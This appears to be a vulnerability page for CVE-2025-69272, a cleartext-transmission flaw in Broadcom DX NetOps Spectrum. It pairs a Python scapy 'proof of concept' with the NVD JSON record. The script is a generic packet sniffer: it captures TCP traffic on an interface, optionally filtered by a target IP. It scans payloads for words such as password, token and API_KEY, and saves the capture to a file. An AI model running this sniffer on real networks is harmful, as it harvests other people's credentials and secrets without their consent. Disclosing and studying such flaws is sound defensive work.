CVE-2025-69272

# CVE-2025-69272 PoC - Network Traffic Capture # This PoC demonstrates how an attacker can capture unencrypted traffic # Requirements: scapy, tcpdump, or Wireshark from scapy.all import * import sys def capture_spectrum_traffic(interface, target_ip=None, duration=60): """ Capture network traffic on the specified interface Args: interface: Network interface to capture on target_ip: Optional - filter by target IP duration: Capture duration in seconds """ filter_str = "tcp" if target_ip: filter_str += f" and host {target_ip}" print(f"[*] Starting packet capture on {interface}") print(f"[*] Filter: {filter_str}") print(f"[*] Duration: {duration} seconds") packets = sniff(iface=interface, filter=filter_str, timeout=duration) # Analyze captured packets for sensitive data sensitive_patterns = [ b'password', b'username', b'auth', b'token', b'credential', b'API_KEY', b'secret' ] print("\n[*] Analyzing captured packets for sensitive information...") for pkt in packets: if TCP in pkt and pkt[TCP].payload: payload = bytes(pkt[TCP].payload) for pattern in sensitive_patterns: if pattern in payload.lower(): print(f"[!] Potential sensitive data found in packet from {pkt[IP].src}") print(f" Pattern: {pattern.decode()}") # Save captured packets output_file = f"capture_{int(time.time())}.pcap" wrpcap(output_file, packets) print(f"\n[*] Captured {len(packets)} packets saved to {output_file}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_69272_poc.py <interface> [target_ip]") sys.exit(1) interface = sys.argv[1] target_ip = sys.argv[2] if len(sys.argv) > 2 else None capture_spectrum_traffic(interface, target_ip)

{"cve": {"id": "CVE-2025-69272", "sourceIdentifier": "[email protected]", "published": "2026-01-12T05:16:11.213", "lastModified": "2026-01-14T17:54:24.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cleartext Transmission of Sensitive Information vulnerability in Broadcom DX NetOps Spectrum on Windows, Linux allows Sniffing Attacks.This issue affects DX NetOps Spectrum: 21.2.1 and earlier."}, {"lang": "es", "value": "Vulnerabilidad de transmisión en texto claro de información sensible en Broadcom DX NetOps Spectrum en Windows, Linux permite ataques de *sniffing*. Este problema afecta a DX NetOps Spectrum: 21.2.1 y versiones anteriores."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:broadcom:dx_netops_spectrum:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.2.2", "matchCriteriaId": "21CCADE3-CD69-4805-946D-EF06AF959002"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36756", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}